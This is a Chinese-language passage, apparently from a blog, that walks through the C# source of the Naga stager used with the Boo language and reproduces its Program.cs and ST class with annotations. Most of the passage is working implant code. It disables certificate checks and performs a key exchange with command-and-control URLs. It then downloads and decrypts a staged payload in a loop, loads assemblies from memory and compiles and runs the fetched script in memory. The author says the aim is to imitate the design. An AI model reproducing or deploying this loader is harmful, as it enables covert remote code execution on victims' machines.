咱们的设计也是基于Boolang这种形式,通过阅读它的Naga源码挑出几个关键的点来进行模拟,首先大概看一下它的功能代码,主代码位于Naga\Program.cs
using System; using Naga; using Naga.Properties; namespace NagaExe { class Program { static void Main(string[] args) { string[] _urls; string _guid; string _psk; //检索输入的指定字符串资源 _guid = Resources.ResourceManager.GetString("GUID").ToString(); _psk = Resources.ResourceManager.GetString("PSK").ToString(); _urls = Resources.ResourceManager.GetString("URLs").ToString().Split('|')[0].Split(','); #if DEBUG Console.WriteLine("[*] Found info in embedded resources:"); Console.WriteLine("\t- GUID: {0}", _guid); Console.WriteLine("\t- PSK: {0}", _psk); Console.WriteLine("\t- URLS: {0}", String.Join(",", _urls)); #endif if (args.Length < 3) { if (_guid == "00000000-0000-0000-0000-000000000000" && _psk == new String('@', 64)) { Console.WriteLine("Usage: ST.exe <GUID> <PSK> <URL1,URL2...>"); Environment.Exit(1); } } else { try { _guid = args[0]; _psk = args[1]; _urls = args[2].Split(','); Guid.Parse(_guid); foreach (var url in _urls) { new Uri(url); } } catch { Console.WriteLine("Not enough arguments or invalid parameters"); Environment.Exit(1); } } ST.Start(_guid, _psk, _urls);//调用ST类Start方法对传入资源做处理 } } }前面都是取各种参数,我们重点关注ST类
using System; using System.IO; using System.IO.Compression; using System.Reflection; using System.Net; using System.Text; using System.Runtime.InteropServices; using Boo.Lang.Compiler; using Boo.Lang.Compiler.IO; using Boo.Lang.Compiler.Pipelines; namespace Naga { public class ST { private static Guid GUID; private static string[] URLS; private static string HEXPSK; private static byte[] PSK; private static ZipStorer _stage; //构造函数初始化ServicePointManager对象进行Internet访问 static ST() { ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; //获取或设置用于验证服务器证书的回调 ServicePointManager.SecurityProtocol = (SecurityProtocolType)768 | (SecurityProtocolType)3072; //指定连接使用TLS1.1或TLS1.2协议 ServicePointManager.Expect100Continue = false; //直接发送数据不使用100-Continue AppDomain.CurrentDomain.AssemblyResolve += ResolveEventHandler; //解析失败时触发,调用ResolveEventHandler返回非运行目录指定dll的Assembly对象 } //加载指定dll,返回对应dll的Assembly对象 private static Assembly ResolveEventHandler(object sender, ResolveEventArgs args) { var dllName = Utils.GetDllName(args.Name); //分割参数返回dll名 #if DEBUG Console.WriteLine("\t[-] '{0}' was required...", dllName); #endif byte[] bytes; try { bytes = Utils.GetResourceByName(dllName); } catch { bytes = Utils.GetResourceFromZip(_stage, dllName) ?? File.ReadAllBytes(RuntimeEnvironment.GetRuntimeDirectory() + dllName); } #if DEBUG Console.WriteLine("\t[+] '{0}' loaded...", dllName); #endif return Assembly.Load(bytes); } public static void Start(string _guid, string _psk, string[] _urls) { //AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler); GUID = Guid.Parse(_guid); HEXPSK = _psk; PSK = Utils.Hex2Binary(_psk); URLS = _urls; #if DEBUG Console.WriteLine("[+] URLS: {0}", String.Join(",", URLS)); #endif while (true) { foreach (var url in URLS) { Uri URL; URL = new Uri(new Uri(url), GUID.ToString()); try { byte[] key = Crypto.ECDHKeyExchange(URL, PSK); byte[] encrypted_zip = Comms.HttpGet(URL); _stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true); byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo"); string source = Encoding.UTF8.GetString(resource, 0, resource.Length); RunBooEngine(source); } catch { } } } } public static void RunBooEngine(string source) { Console.WriteLine("\n[*] Compiling Stage Code"); CompilerParameters parameters = new CompilerParameters(false); parameters.Input.Add(new StringInput("Stage.boo", source)); parameters.Pipeline = new CompileToMemory(); parameters.Ducky = true; parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang")); parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Extensions")); parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Parser")); parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Compiler")); parameters.AddAssembly(Assembly.LoadWithPartialName("mscorlib")); parameters.AddAssembly(Assembly.LoadWithPartialName("System")); parameters.AddAssembly(Assembly.LoadWithPartialName("System.Core")); parameters.AddAssembly(Assembly.LoadWithPartialName("System.Web.Extensions")); //Console.WriteLine(compiler.Parameters.LibPaths); //compiler.Parameters.LoadAssembly("System"); BooCompiler compiler = new BooCompiler(parameters); CompilerContext context = compiler.Run(); //Note that the following code might throw an error if the Boo script had bugs. //Poke context.Errors to make sure. if (context.GeneratedAssembly != null) { Console.WriteLine("[+] Compilation Successful!"); Console.WriteLine("[*] Executing"); //AppDomain.CurrentDomain.AssemblyResolve -= ResolveEventHandler; //反射调用并传入参数到boo脚本 context.GeneratedAssembly.EntryPoint.Invoke(null, new object[] { new string[] { GUID.ToString(), HEXPSK, string.Join(",", URLS) } }); } else { Console.WriteLine("[-] Error(s) compiling script, this probably means your Boo script has bugs\n"); foreach (CompilerError error in context.Errors) Console.WriteLine(error); } } } }